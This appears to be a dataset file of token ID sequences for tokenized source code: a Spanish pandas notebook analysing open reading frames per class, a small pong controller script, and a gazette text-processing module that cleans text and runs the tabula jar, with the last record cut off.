29915,
13,
2176,
353,
6088,
29918,
1445,
877,
1272,
29914,
22625,
29918,
12171,
29889,
572,
1495,
13,
13,
13,
29937,
29871,
29896,
29889,
29896,
3037,
16637,
2723,
25258,
359,
6323,
29943,
29879,
17898,
687,
264,
263,
9747,
1067,
559,
29889,
29871,
13,
13,
29937,
512,
29961,
29953,
5387,
13,
13,
13,
1753,
22956,
1417,
29898,
29916,
1125,
13,
1678,
9995,
13,
1678,
13811,
1290,
15422,
1114,
263,
1176,
279,
425,
867,
29976,
12619,
1702,
9483,
19052,
1232,
13,
1678,
6323,
29943,
29879,
712,
17898,
687,
264,
263,
9747,
1067,
559,
13,
1678,
584,
3207,
921,
29901,
4547,
29883,
18594,
560,
16497,
13,
1678,
584,
18280,
16219,
29629,
425,
867,
29976,
12619,
13,
1678,
9995,
13,
1678,
4853,
353,
921,
29889,
5317,
29898,
14380,
2433,
1646,
29882,
742,
2537,
2311,
7607,
29947,
29892,
29871,
29906,
29900,
511,
2927,
2433,
29937,
29947,
29953,
1635,
29929,
29896,
742,
13,
18884,
503,
2098,
29922,
29906,
29892,
2920,
29922,
29900,
29889,
29947,
29945,
29897,
13,
13,
1678,
396,
17214,
457,
13,
1678,
4853,
29889,
1028,
1475,
1839,
1266,
13359,
842,
29918,
12872,
29898,
8824,
29897,
13,
1678,
4853,
29889,
1028,
1475,
1839,
3332,
13359,
842,
29918,
12872,
29898,
8824,
29897,
13,
1678,
4853,
29889,
1028,
1475,
1839,
1563,
13359,
842,
29918,
12872,
29898,
8824,
29897,
13,
1678,
4853,
29889,
1028,
1475,
1839,
8968,
13359,
842,
29918,
12872,
29898,
8824,
29897,
13,
13,
1678,
396,
28176,
1283,
260,
7358,
13,
1678,
4853,
29889,
24667,
29918,
7529,
29898,
8990,
543,
20313,
613,
607,
543,
20313,
613,
13,
462,
259,
5970,
543,
2696,
613,
2246,
543,
2696,
613,
3858,
8968,
543,
265,
613,
13,
462,
259,
2175,
543,
2696,
613,
1492,
543,
2696,
613,
3858,
1563,
543,
265,
1159,
13,
13,
1678,
396,
18492,
11408,
9685,
3454,
13,
1678,
659,
29879,
353,
4853,
29889,
657,
29918,
486,
7358,
580,
13,
1678,
363,
16892,
297,
659,
29879,
29901,
13,
4706,
4853,
29889,
1165,
29894,
1220,
29898,
29916,
29922,
24667,
29892,
6276,
342,
1508,
2433,
14592,
287,
742,
15595,
29922,
29900,
29889,
29941,
29892,
13,
462,
259,
2927,
2433,
29937,
3905,
3905,
3905,
742,
503,
2098,
29922,
29896,
29897,
13,
13,
1678,
518,
1165,
29889,
726,
29898,
29894,
29892,
474,
29892,
525,
8875,
4286,
4830,
29898,
29894,
876,
363,
474,
29892,
325,
297,
26985,
29898,
29916,
4638,
13,
13,
1678,
396,
3789,
921,
29899,
8990,
301,
4302,
13,
1678,
4853,
29889,
842,
29918,
29916,
1643,
703,
29940,
30030,
1050,
29877,
316,
6323,
29943,
613,
3858,
8305,
29922,
29906,
29900,
29892,
7688,
2433,
8934,
742,
2159,
29922,
29896,
29906,
29897,
13,
13,
1678,
396,
3789,
343,
29899,
8990,
3858,
13,
1678,
4853,
29889,
842,
29918,
29891,
1643,
703,
6821,
559,
613,
3858,
8305,
29922,
29906,
29900,
29892,
7688,
2433,
8934,
742,
2159,
29922,
29896,
29906,
29897,
13,
1678,
14770,
29889,
7620,
1003,
29898,
29888,
1642,
29914,
29887,
1929,
4869,
29914,
1949,
1489,
29918,
1955,
29943,
29889,
2732,
1159,
13,
1678,
14770,
29889,
4294,
580,
13,
1678,
14770,
29889,
5358,
580,
13,
13,
13,
29937,
512,
29961,
29955,
5387,
13,
13,
13,
1753,
8633,
29918,
29887,
1929,
983,
7295,
13,
1678,
396,
4059,
582,
1129,
1869,
1067,
2129,
343,
2723,
9239,
560,
13831,
316,
6323,
29943,
13,
1678,
2318,
29918,
695,
559,
29918,
2798,
353,
4489,
29889,
27789,
18959,
695,
559,
11287,
1839,
1955,
29943,
13359,
2798,
580,
13,
1678,
396,
6225,
506,
29877,
425,
2090,
1290,
394,
24578,
29889,
13,
1678,
22956,
1417,
29898,
2972,
29918,
695,
559,
29918,
2798,
29897,
13,
13,
13,
9469,
1572,
29918,
29887,
1929,
983,
580,
13,
13,
13,
29937,
29871,
29896,
29889,
29906,
360,
912,
712,
560,
350,
29966,
5813,
29958,
25911,
2511,
522,
29874,
4166,
10481,
263,
1232,
9505,
29885,
2873,
29892,
439,
14992,
359,
712,
1556,
5606,
275,
1277,
282,
424,
9864,
2723,
25258,
359,
6323,
29943,
29879,
17898,
687,
264,
263,
425,
1067,
559,
712,
10258,
2538,
29886,
12232,
1986,
2342,
27463,
29889,
7849,
3665,
560,
24578,
1277,
282,
424,
9864,
2553,
333,
2503,
883,
403,
912,
313,
4422,
466,
1743,
560,
11510,
8144,
3402,
580,
318,
16994,
2788,
511,
25520,
2765,
443,
18664,
8339,
28117,
11692,
316,
1232,
659,
2361,
712,
23930,
30046,
29976,
275,
29889,
13,
13,
29937,
512,
29961,
29947,
5387,
13,
13,
13,
1753,
1121,
29918,
13713,
381,
7295,
13,
1678,
1121,
29918,
13713,
12232,
353,
4489,
29961,
2176,
29889,
14273,
29889,
710,
29889,
11516,
29898,
13,
4706,
525,
1666,
29886,
12232,
742,
1206,
29922,
8824,
29897,
1822,
2083,
580,
13,
1678,
1596,
29898,
13,
4706,
376,
6489,
405,
30105,
316,
6323,
29943,
13654,
4396,
427,
425,
1067,
559,
378,
2342,
27463,
376,
13,
4706,
13577,
1666,
29886,
12232,
29915,
831,
29901,
6571,
320,
29876,
29905,
29876,
1642,
13,
4706,
3402,
29898,
2914,
29918,
13713,
12232,
1839,
1955,
29943,
25901,
13,
13,
13,
2914,
29918,
13713,
381,
580,
13,
13,
13,
29937,
29871,
29906,
29889,
29896,
1260,
13831,
316,
1067,
2129,
712,
640,
12980,
1986,
286,
3642,
4200,
443,
6323,
29943,
378,
560,
22191,
888,
4221,
912,
427,
480,
2342,
27463,
29889,
29871,
13,
13,
29937,
512,
29961,
29929,
5387,
13,
13,
13,
29937,
3251,
29877,
1185,
2090,
1290,
1702,
1556,
13678,
427,
282,
424,
9864,
560,
13,
29937,
831,
2727,
316,
4404,
8574,
6269,
11088,
13,
1753,
6492,
29918,
12343,
29898,
29916,
29892,
2983,
1125,
13,
1678,
9995,
13,
1678,
3251,
29877,
1185,
2090,
1290,
8334,
16219,
1484,
427,
883,
1219,
13914,
29874,
560,
13,
1678,
13831,
316,
1067,
2129,
13,
1678,
584,
3207,
921,
29918,
14676,
262,
29901,
13,
1678,
584,
3207,
2983,
29901,
560,
22191,
888,
3928,
6759,
13,
1678,
584,
2457,
29901,
13,
1678,
9995,
13,
1678,
396,
10397,
601,
560,
2380,
13,
1678,
921,
353,
921,
29889,
12071,
29918,
2248,
580,
13,
1678,
396,
378,
7214,
517,
443,
12205,
6651,
378,
560,
15921,
16954,
22643,
912,
13,
1678,
921,
353,
10518,
29889,
17271,
29898,
29916,
29897,
1839,
14273,
29918,
1955,
29943,
2033,
13,
1678,
921,
29889,
2248,
4619,
29871,
29896,
13,
1678,
921,
29889,
5317,
29889,
12343,
29898,
1003,
2311,
7607,
29947,
29892,
29871,
29947,
876,
13,
1678,
14770,
29889,
3257,
29898,
29888,
29908,
6489,
405,
30105,
316,
1067,
2129,
378,
286,
3642,
4200,
316,
29871,
29896,
6323,
29943,
378,
18259,
376,
13,
795,
285,
29908,
5303,
7039,
1042,
613,
4079,
2311,
29922,
29896,
29946,
29892,
7688,
543,
8934,
1159,
13,
1678,
14770,
29889,
29891,
1643,
703,
29925,
272,
12401,
1067,
559,
4166,
3001,
1159,
13,
1678,
14770,
29889,
29916,
1643,
703,
11536,
1067,
2129,
29901,
6571,
1642,
4830,
29898,
2435,
29898,
29916,
4961,
13,
1678,
396,
1410,
6491,
425,
867,
29976,
29888,
6400,
427,
443,
11629,
19967,
4979,
912,
13,
1678,
14770,
29889,
7620,
1003,
29898,
29888,
1642,
29914,
29887,
1929,
4869,
29914,
29887,
1929,
983,
29918,
5031,
1617,
648,
7039,
1836,
2732,
1159,
13,
1678,
396,
3887,
16906,
427,
282,
424,
9864,
13,
1678,
14770,
29889,
4294,
580,
13,
1678,
14770,
29889,
5358,
580,
13,
1678,
736,
6492,
29918,
12343,
13,
13,
13,
29937,
512,
29961,
29896,
29900,
5387,
13,
13,
13,
1753,
954,
29918,
695,
2129,
29918,
14676,
262,
7295,
13,
1678,
553,
29918,
1955,
29943,
29918,
14676,
262,
353,
4489,
29961,
2176,
1839,
14273,
29918,
1955,
29943,
13359,
710,
29889,
11516,
29898,
29878,
29915,
14676,
262,
742,
337,
29889,
6259,
6632,
1525,
23487,
29892,
13,
462,
462,
462,
268,
6528,
29922,
8824,
29892,
1055,
29922,
8824,
4638,
13,
1678,
26823,
353,
553,
29918,
1955,
29943,
29918,
14676,
262,
29889,
27789,
18959,
695,
559,
11287,
1839,
14273,
29918,
1955,
29943,
13359,
2798,
580,
13,
1678,
17910,
353,
7431,
29898,
14676,
262,
29897,
13,
1678,
1596,
29898,
13,
4706,
376,
6489,
13831,
316,
1067,
2129,
712,
640,
12980,
1986,
286,
3642,
4200,
443,
6323,
29943,
378,
560,
18259,
376,
13,
4706,
13577,
802,
8651,
560,
27757,
29877,
26823,
4286,
29871,
6571,
320,
29876,
29905,
29876,
1642,
3402,
29898,
1949,
1489,
876,
13,
13,
1678,
396,
20760,
29877,
425,
2090,
1290,
394,
24578,
14123,
13,
1678,
6492,
29918,
12343,
29898,
14676,
262,
29892,
525,
14676,
1099,
1495,
13,
13,
13,
1949,
29918,
695,
2129,
29918,
14676,
262,
580,
13,
13,
13,
29937,
512,
29961,
29896,
29896,
5387,
13,
13,
13,
1753,
954,
29918,
695,
2129,
29918,
29882,
11279,
7295,
13,
1678,
9995,
13,
13,
1678,
584,
2457,
29901,
13,
1678,
9995,
13,
1678,
396,
8406,
1111,
1869,
27555,
3417,
712,
640,
996,
273,
29871,
29896,
29941,
15215,
267,
13,
1678,
6323,
29943,
29918,
29882,
11279,
29918,
29896,
29941,
353,
4489,
29961,
2176,
1839,
14273,
29918,
1955,
29943,
13359,
710,
29889,
11516,
29898,
29878,
12764,
29890,
29905,
29893,
29912,
29896,
29941,
1012,
29890,
1495,
1275,
5852,
29962,
13,
1678,
396,
16018,
316,
15371,
24578,
29892,
712,
592,
310,
15749,
1113,
1232,
712,
640,
12980,
13,
1678,
396,
425,
27555,
336,
525,
29882,
11279,
29915,
13,
1678,
6323,
29943,
29918,
29882,
11279,
29918,
29896,
29941,
353,
6323,
29943,
29918,
29882,
11279,
29918,
29896,
29941,
29961,
1955,
29943,
29918,
29882,
11279,
29918,
29896,
29941,
1839,
14273,
29918,
1955,
29943,
13359,
710,
29889,
11516,
29898,
13,
462,
462,
462,
4706,
364,
29915,
29882,
11279,
1495,
1275,
5852,
29962,
13,
1678,
17546,
353,
6323,
29943,
29918,
29882,
11279,
29918,
29896,
29941,
29889,
27789,
18959,
695,
559,
11287,
1839,
14273,
29918,
1955,
29943,
13359,
2798,
580,
13,
1678,
17910,
353,
7431,
29898,
29882,
11279,
29897,
13,
1678,
1596,
29898,
13,
4706,
376,
6489,
13831,
316,
1067,
2129,
23831,
560,
14729,
18259,
831,
6571,
29871,
320,
29876,
29905,
29876,
1642,
4830,
29898,
1949,
1489,
876,
13,
13,
1678,
6492,
29918,
12343,
29898,
29882,
11279,
29892,
525,
29882,
11279,
1495,
13,
13,
13,
1949,
29918,
695,
2129,
29918,
29882,
11279,
580,
13,
13,
13,
29937,
29871,
29906,
29889,
29906,
1260,
13831,
2504,
287,
601,
316,
6323,
29943,
29879,
378,
1232,
28276,
409,
19727,
273,
1232,
6323,
29943,
29879,
378,
560,
22191,
888,
4221,
912,
427,
480,
2342,
27463,
29889,
13,
13,
29937,
512,
29961,
29896,
29906,
5387,
13,
13,
13,
29937,
3251,
29877,
425,
2090,
1290,
1702,
1869,
867,
29976,
29888,
5070,
316,
1232,
2504,
287,
2363,
13,
1753,
22956,
29918,
276,
4620,
29898,
29916,
29892,
2983,
1125,
13,
1678,
9995,
13,
1678,
13811,
1290,
15422,
1114,
263,
1176,
279,
1869,
867,
29976,
29888,
5070,
316,
1232,
2504,
287,
2363,
316,
14552,
2884,
13,
1678,
23831,
560,
22191,
888,
3928,
6759,
13,
1678,
584,
3207,
921,
29901,
560,
848,
29888,
420,
316,
1232,
6323,
29943,
378,
560,
13831,
316,
14552,
2884,
13,
1678,
584,
3207,
2983,
29901,
1894,
293,
14054,
560,
18259,
13,
1678,
584,
2457,
29901,
425,
867,
29976,
12619,
13,
1678,
9995,
13,
1678,
921,
29889,
5317,
29889,
1646,
29882,
877,
1955,
29943,
742,
525,
1949,
1489,
316,
14552,
2884,
742,
2537,
2311,
7607,
29947,
29892,
29871,
29896,
29900,
876,
13,
1678,
396,
3887,
16906,
427,
282,
2075,
433,
425,
5745,
13,
1678,
14770,
29889,
1165,
29894,
1220,
29898,
29916,
1839,
1949,
1489,
316,
14552,
2884,
13359,
12676,
3285,
13,
18884,
2927,
2433,
29878,
742,
6276,
342,
1508,
2433,
489,
742,
3858,
2433,
9799,
1495,
13,
1678,
396,
425,
454,
29891,
8395,
427,
425,
3810,
11558,
14923,
5815,
13,
1678,
14770,
29889,
26172,
29898,
2029,
2433,
21064,
1492,
1495,
13,
1678,
396,
4329,
7207,
13,
1678,
14770,
29889,
3257,
29898,
29888,
29908,
29940,
30105,
316,
6323,
29943,
19727,
2255,
378,
16994,
6323,
29943,
343,
480,
2504,
287,
601,
6435,
7039,
1042,
613,
13,
795,
4079,
2311,
29922,
29896,
29946,
29892,
13,
795,
7688,
543,
8934,
1159,
13,
1678,
396,
634,
8105,
300,
294,
13,
1678,
14770,
29889,
29916,
1643,
703,
29940,
30105,
316,
6323,
29943,
1159,
13,
1678,
14770,
29889,
29891,
1643,
703,
1955,
29943,
1159,
13,
1678,
396,
1410,
6491,
427,
285,
436,
1489,
282,
865,
425,
330,
200,
152,
2142,
983,
13,
1678,
14770,
29889,
7620,
1003,
29898,
29888,
1642,
29914,
29887,
1929,
4869,
29914,
29887,
1929,
983,
29918,
276,
4620,
2884,
29918,
5031,
1617,
648,
7039,
1836,
2732,
1159,
13,
1678,
396,
3887,
16906,
427,
282,
424,
9864,
13,
1678,
14770,
29889,
4294,
580,
13,
1678,
396,
274,
631,
307,
13,
1678,
14770,
29889,
5358,
580,
13,
1678,
736,
6492,
29918,
12343,
13,
13,
13,
29937,
512,
29961,
29896,
29941,
5387,
13,
13,
13,
1753,
2504,
287,
601,
29918,
5031,
1617,
29918,
14676,
262,
7295,
13,
1678,
9995,
13,
13,
1678,
584,
2457,
29901,
13,
1678,
9995,
13,
1678,
396,
977,
29873,
307,
1232,
659,
2361,
712,
640,
996,
273,
425,
27555,
336,
525,
14676,
262,
29915,
13,
1678,
4489,
29918,
7827,
29918,
14676,
262,
353,
4489,
29918,
7827,
29961,
2176,
29918,
7827,
1839,
2783,
699,
6739,
291,
13359,
710,
29889,
11516,
29898,
13,
4706,
364,
29915,
14676,
262,
742,
6528,
29922,
8824,
29892,
1055,
29922,
8824,
4638,
13,
1678,
396,
16954,
22643,
29877,
29871,
29906,
1897,
294,
13,
1678,
2504,
29872,
29918,
276,
4620,
29918,
14676,
262,
353,
4489,
29918,
7827,
29918,
14676,
262,
29961,
1839,
1955,
29943,
742,
525,
1949,
1489,
316,
14552,
2884,
2033,
29962,
13,
1678,
396,
16219,
1484,
425,
5745,
13,
1678,
302,
29918,
29886,
4871,
29918,
276,
4620,
29918,
14676,
262,
353,
5785,
29898,
13,
462,
1678,
4489,
29918,
7827,
29918,
14676,
262,
29961,
1839,
1949,
1489,
316,
14552,
2884,
2033,
1822,
12676,
3101,
13,
1678,
396,
3887,
16906,
560,
24578,
13,
1678,
1596,
703,
6489,
13831,
2504,
287,
601,
316,
6323,
29943,
29879,
378,
1232,
28276,
409,
19727,
273,
1232,
29908,
13,
3986,
376,
1955,
29943,
29879,
378,
560,
18259,
525,
802,
8651,
560,
27757,
29877,
26823,
11838,
13,
3986,
376,
6571,
29871,
320,
29876,
29905,
29876,
1642,
4830,
29898,
29876,
29918,
29886,
4871,
29918,
276,
4620,
29918,
14676,
262,
876,
13,
13,
1678,
396,
20760,
29877,
425,
2090,
1290,
263,
1232,
18683,
16219,
4396,
13,
1678,
22956,
29918,
276,
4620,
29898,
29886,
4871,
29918,
276,
4620,
29918,
14676,
262,
29892,
525,
3279,
1099,
1495,
13,
13,
13,
14032,
287,
601,
29918,
5031,
1617,
29918,
14676,
262,
580,
13,
13,
13,
29937,
512,
29961,
29896,
29946,
5387,
13,
13,
13,
1753,
2504,
287,
601,
29918,
5031,
1617,
29918,
29882,
11279,
7295,
13,
1678,
9995,
13,
13,
1678,
584,
2457,
29901,
13,
1678,
9995,
13,
1678,
4489,
29918,
7827,
29918,
29882,
11279,
353,
4489,
29918,
7827,
29961,
2176,
29918,
7827,
1839,
2783,
699,
6739,
291,
13359,
710,
29889,
11516,
29898,
13,
462,
462,
462,
9651,
364,
12764,
29890,
29905,
29893,
29912,
29896,
29941,
1012,
29890,
1495,
1275,
5852,
29962,
13,
1678,
4489,
29918,
7827,
29918,
29882,
11279,
353,
4489,
29918,
7827,
29918,
29882,
11279,
29961,
2176,
29918,
7827,
29918,
29882,
11279,
1839,
2783,
699,
6739,
291,
13359,
710,
29889,
11516,
29898,
13,
462,
462,
462,
9651,
364,
29915,
29882,
11279,
1495,
1275,
5852,
29962,
13,
1678,
302,
29918,
29886,
4871,
29918,
276,
4620,
29918,
29882,
11279,
353,
5785,
29898,
2176,
29918,
7827,
29918,
29882,
11279,
29961,
1839,
1949,
1489,
316,
14552,
2884,
2033,
1822,
12676,
3101,
13,
1678,
1596,
703,
6489,
13831,
2504,
287,
601,
316,
6323,
29943,
29879,
378,
1232,
28276,
409,
19727,
273,
29908,
13,
9651,
376,
5409,
6323,
29943,
29879,
23831,
560,
14729,
18259,
831,
29901,
6571,
320,
29876,
29905,
29876,
1642,
4830,
29898,
29876,
29918,
29886,
4871,
29918,
276,
4620,
29918,
29882,
11279,
876,
13,
13,
1678,
22956,
29918,
276,
4620,
29898,
2176,
29918,
7827,
29918,
29882,
11279,
29892,
525,
29882,
11279,
1495,
13,
268,
13,
268,
13,
14032,
287,
601,
29918,
5031,
1617,
29918,
29882,
11279,
580,
13,
13,
13,
13,
29937,
29871,
13,
29937,
29871,
29941,
29889,
12994,
9747,
875,
1489,
341,
2637,
29871,
29906,
343,
29871,
29929,
313,
1117,
359,
13654,
4396,
511,
3408,
29874,
560,
13831,
316,
1067,
2129,
712,
25358,
1986,
286,
3642,
4200,
1185,
334,
6229,
575,
3175,
29930,
9105,
707,
4146,
29874,
313,
12948,
712,
29871,
29900,
343,
263,
425,
7763,
286,
28961,
29875,
552,
316,
341,
29889,
1281,
560,
27757,
29877,
3964,
575,
3175,
7814,
2737,
18594,
263,
9747,
6888,
316,
1232,
29871,
29946,
12158,
359,
712,
883,
273,
560,
25907,
3136,
316,
425,
1067,
559,
313,
4548,
506,
912,
427,
425,
5226,
1290,
14123,
467,
12723,
274,
2464,
17227,
10331,
6135,
712,
1121,
279,
427,
24673,
1986,
29901,
13,
29937,
7521,
13,
29937,
341,
29922,
29906,
29901,
1577,
1067,
2129,
13,
29937,
341,
29922,
29941,
29901,
1577,
1067,
2129,
13,
29937,
2023,
13,
29937,
341,
29922,
29929,
29901,
1577,
1067,
2129,
13,
29937,
7521,
29871,
13,
29937,
8334,
1577,
2755,
29874,
443,
875,
1489,
29889,
13,
13,
13,
13,
1753,
1067,
2129,
29918,
1116,
18394,
7295,
13,
1678,
9995,
13,
1678,
13811,
1290,
15422,
1114,
263,
14403,
759,
560,
13831,
316,
1067,
2129,
13,
1678,
584,
2457,
29901,
13,
1678,
13831,
316,
1067,
2129,
712,
25358,
1986,
286,
3642,
4200,
1185,
3964,
575,
3175,
13,
1678,
9105,
707,
4146,
29874,
313,
12948,
712,
29871,
29900,
343,
263,
425,
7763,
286,
28961,
29875,
552,
316,
341,
2637,
29871,
29906,
343,
29871,
29929,
29889,
13,
1678,
9995,
13,
1678,
396,
28051,
22643,
29877,
425,
784,
398,
1056,
1067,
559,
628,
12205,
343,
8869,
29877,
443,
294,
24670,
6027,
13,
1678,
4489,
1839,
695,
559,
2033,
353,
4489,
1839,
695,
559,
13359,
710,
29889,
6506,
877,
29961,
742,
525,
2824,
710,
29889,
6506,
877,
29962,
742,
525,
2824,
710,
29889,
6506,
703,
4907,
613,
20569,
13,
1678,
396,
16219,
1484,
1185,
15023,
316,
1869,
1067,
1569,
267,
3720,
29876,
5070,
13,
1678,
1067,
559,
29918,
3909,
29939,
353,
4489,
1839,
695,
559,
13359,
13092,
2141,
25027,
391,
580,
13,
1678,
396,
3251,
29877,
1185,
15023,
11757,
423,
13,
1678,
15023,
353,
5159,
13,
1678,
1596,
703,
2177,
29874,
9747,
875,
1489,
341,
2637,
29871,
29906,
343,
29871,
29929,
313,
1117,
359,
13654,
4396,
511,
29908,
13,
3986,
376,
15807,
29874,
560,
13831,
316,
1067,
2129,
712,
25358,
1986,
286,
3642,
4200,
29908,
13,
3986,
376,
4347,
334,
6229,
575,
3175,
29930,
9105,
707,
4146,
29874,
313,
12948,
712,
29871,
29900,
343,
263,
425,
7763,
29908,
13,
3986,
376,
29885,
28961,
29875,
552,
316,
341,
23157,
13,
1678,
396,
8195,
11411,
1185,
372,
1572,
1290,
1702,
1176,
279,
1185,
15023,
316,
1051,
294,
13,
1678,
396,
16954,
22643,
29877,
9747,
6888,
316,
1232,
659,
2361,
316,
1869,
15023,
13,
1678,
363,
432,
297,
3464,
29898,
2435,
29898,
695,
559,
29918,
3909,
29939,
22164,
13,
4706,
396,
1933,
1941,
560,
1543,
29877,
3928,
6759,
13,
4706,
921,
353,
1067,
559,
29918,
3909,
29939,
29961,
29926,
1822,
5451,
29317,
1495,
13,
4706,
396,
378,
7214,
517,
560,
851,
427,
938,
13,
4706,
921,
353,
518,
524,
29898,
29875,
29897,
363,
474,
297,
921,
29962,
13,
4706,
396,
4503,
912,
263,
425,
22288,
15023,
13,
4706,
15023,
29889,
4397,
29898,
29916,
29897,
13,
1678,
396,
1176,
29877,
1185,
372,
1572,
1290,
1702,
14403,
759,
560,
24578,
26978,
277,
912,
13,
1678,
363,
474,
297,
3464,
29898,
29906,
29892,
29871,
29896,
29900,
1125,
13,
4706,
396,
1176,
29877,
1185,
15023,
11757,
423,
13,
4706,
620,
353,
5159,
13,
4706,
396,
738,
580,
502,
912,
1702,
977,
509,
279,
29290,
13,
4706,
396,
16954,
22643,
29877,
1869,
712,
25358,
394,
17275,
443,
29871,
29900,
13,
4706,
15023,
29918,
9171,
353,
518,
1491,
363,
1014,
297,
15023,
565,
29898,
1384,
29898,
6146,
1405,
29871,
29900,
363,
4552,
297,
1014,
28166,
13,
4706,
396,
1702,
3415,
3673,
712,
263,
425,
298,
2207,
316,
25830,
329,
279,
560,
18436,
2148,
15353,
1647,
13,
4706,
396,
592,
16954,
22643,
29877,
560,
16497,
29871,
29900,
9343,
712,
525,
29900,
29995,
29875,
1360,
29900,
29915,
343,
592,
658,
640,
18429,
13,
4706,
396,
15075,
1981,
9029,
480,
16497,
1277,
448,
29896,
13,
4706,
15023,
29918,
3298,
359,
353,
5519,
29899,
29896,
565,
921,
1275,
29871,
29900,
1683,
921,
363,
921,
297,
343,
29962,
363,
343,
297,
15023,
29918,
9171,
29962,
13,
4706,
396,
16954,
22643,
1869,
1051,
294,
712,
831,
2999,
1277,
341,
13,
4706,
620,
353,
518,
1491,
29879,
363,
11684,
297,
15023,
29918,
3298,
359,
565,
29898,
1384,
29898,
13,
462,
18884,
4552,
1273,
474,
1275,
29871,
29900,
363,
4552,
297,
11684,
28166,
13,
4706,
396,
16921,
4200,
560,
24578,
23831,
560,
883,
1219,
26978,
277,
912,
13,
4706,
1596,
703,
29924,
353,
426,
6177,
29871,
11393,
4830,
29898,
29875,
29897,
718,
851,
29898,
2435,
29898,
690,
876,
718,
376,
1067,
2129,
1159,
13,
13,
13,
29937,
26087,
687,
3066,
425,
2090,
1290,
13,
695,
2129,
29918,
1116,
18394,
580,
13,
13,
2
] |
trivial.py | nvlass/pongctrl | 0 | 121551 | #!/usr/bin/env python
import sys
import random
if __name__ == '__main__':
try:
y0 = 0
while True:
fmax = 0
b = sys.stdin.readline()
width = int(b.split(" ")[0])
height = int(b.split(" ")[1])
for q in range(height):
a = sys.stdin.readline().strip()
bq = a[8:50] + a[-50:-8]
t = sum(map(lambda x: int(x), list(bq)))
if t > fmax:
y0 = q
fmax = t
sys.stdout.write(str(y0) + "\n")
sys.stdout.flush()
except Exception as ex:
sys.stderr.write(str(ex))
sys.stderr.flush()
| [
1,
18787,
4855,
29914,
2109,
29914,
6272,
3017,
13,
5215,
10876,
13,
5215,
4036,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
1018,
29901,
13,
4706,
343,
29900,
353,
29871,
29900,
13,
4706,
1550,
5852,
29901,
13,
9651,
285,
3317,
353,
29871,
29900,
13,
9651,
289,
353,
10876,
29889,
4172,
262,
29889,
949,
1220,
580,
13,
9651,
2920,
353,
938,
29898,
29890,
29889,
5451,
703,
376,
9601,
29900,
2314,
13,
9651,
3171,
353,
938,
29898,
29890,
29889,
5451,
703,
376,
9601,
29896,
2314,
13,
9651,
363,
3855,
297,
3464,
29898,
3545,
1125,
13,
18884,
263,
353,
10876,
29889,
4172,
262,
29889,
949,
1220,
2141,
17010,
580,
13,
462,
13,
18884,
289,
29939,
353,
263,
29961,
29947,
29901,
29945,
29900,
29962,
718,
263,
14352,
29945,
29900,
13018,
29947,
29962,
13,
18884,
260,
353,
2533,
29898,
1958,
29898,
2892,
921,
29901,
938,
29898,
29916,
511,
1051,
29898,
29890,
29939,
4961,
13,
18884,
565,
260,
1405,
285,
3317,
29901,
13,
462,
1678,
343,
29900,
353,
3855,
13,
462,
1678,
285,
3317,
353,
260,
13,
9651,
10876,
29889,
25393,
29889,
3539,
29898,
710,
29898,
29891,
29900,
29897,
718,
6634,
29876,
1159,
13,
9651,
10876,
29889,
25393,
29889,
23126,
580,
13,
1678,
5174,
8960,
408,
429,
29901,
13,
4706,
10876,
29889,
303,
20405,
29889,
3539,
29898,
710,
29898,
735,
876,
13,
4706,
10876,
29889,
303,
20405,
29889,
23126,
580,
13,
13,
13,
2
] |
queridodiario_toolbox/process/text_process.py | jvanz/querido-diario-toolbox | 0 | 156809 | <gh_stars>0
from subprocess import check_output, DEVNULL
import re
import string
def remove_breaks(text: str) -> str:
"""
Remove breaks, multiple whitespaces (including trimming leading
and trailing spaces), and return single text.
"""
text = _remove_new_line_splitting_word(text)
text = _remove_repeating_whitespaces_and_new_lines(text)
text = _remove_whitespaces_beginning_end_text(text)
return text
def _remove_new_line_splitting_word(text: str) -> str:
""" Removes new lines splitting words."""
return re.sub(r"(\w)-(\n|\r){1,2}(\w)", r"\1\3", text)
def _remove_repeating_whitespaces_and_new_lines(text: str) -> str:
"""Removes repeating new lines and tabular char."""
return re.sub(r"(\n|\r|\t| ){1,}", " ", text)
def _remove_whitespaces_beginning_end_text(text: str) -> str:
"""Removes whitespace from the beginning and end of the given text."""
return text.strip()
def remove_duplicate_punctuation(text: str) -> str:
"""
Remove duplicate punctuation, which may have been a feature of
gazette design.
"""
pattern = f"([{string.punctuation}])" + "{1,}"
pattern = re.compile(pattern)
text = re.sub(pattern, r"\1", text)
return text
def execute_tabula(
filepath: str, tabula_jar: str, *args: str, **kwargs: str
) -> str:
"""
Extract table and text from gazette. pass additional args to
tabula following its documentation
"""
command = ["java", "-jar", tabula_jar, filepath]
if args:
for arg in args:
command.extend([arg])
if kwargs:
for k, v in kwargs.items():
command.extend([k, v])
page = check_output(command, stderr=DEVNULL)
page = page.decode("utf-8")
return page
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
3166,
1014,
5014,
1053,
1423,
29918,
4905,
29892,
5012,
29963,
10074,
13,
5215,
337,
13,
5215,
1347,
13,
13,
13,
1753,
3349,
29918,
8690,
29879,
29898,
726,
29901,
851,
29897,
1599,
851,
29901,
13,
1678,
9995,
13,
4706,
15154,
16706,
29892,
2999,
18960,
22459,
313,
18271,
17151,
4056,
8236,
13,
4706,
322,
25053,
8162,
511,
322,
736,
2323,
1426,
29889,
13,
1678,
9995,
13,
1678,
1426,
353,
903,
5992,
29918,
1482,
29918,
1220,
29918,
23579,
5367,
29918,
1742,
29898,
726,
29897,
13,
1678,
1426,
353,
903,
5992,
29918,
276,
412,
1218,
29918,
1332,
3246,
22459,
29918,
392,
29918,
1482,
29918,
9012,
29898,
726,
29897,
13,
1678,
1426,
353,
903,
5992,
29918,
1332,
3246,
22459,
29918,
463,
1076,
29918,
355,
29918,
726,
29898,
726,
29897,
13,
1678,
736,
1426,
13,
13,
13,
1753,
903,
5992,
29918,
1482,
29918,
1220,
29918,
23579,
5367,
29918,
1742,
29898,
726,
29901,
851,
29897,
1599,
851,
29901,
13,
1678,
9995,
5240,
586,
267,
716,
3454,
24368,
3838,
1213,
15945,
13,
1678,
736,
337,
29889,
1491,
29898,
29878,
29908,
1194,
29893,
6817,
1194,
29876,
4295,
29878,
2597,
29896,
29892,
29906,
4678,
29893,
19123,
364,
26732,
29896,
29905,
29941,
613,
1426,
29897,
13,
13,
13,
1753,
903,
5992,
29918,
276,
412,
1218,
29918,
1332,
3246,
22459,
29918,
392,
29918,
1482,
29918,
9012,
29898,
726,
29901,
851,
29897,
1599,
851,
29901,
13,
1678,
9995,
7301,
586,
267,
28769,
716,
3454,
322,
4434,
1070,
1373,
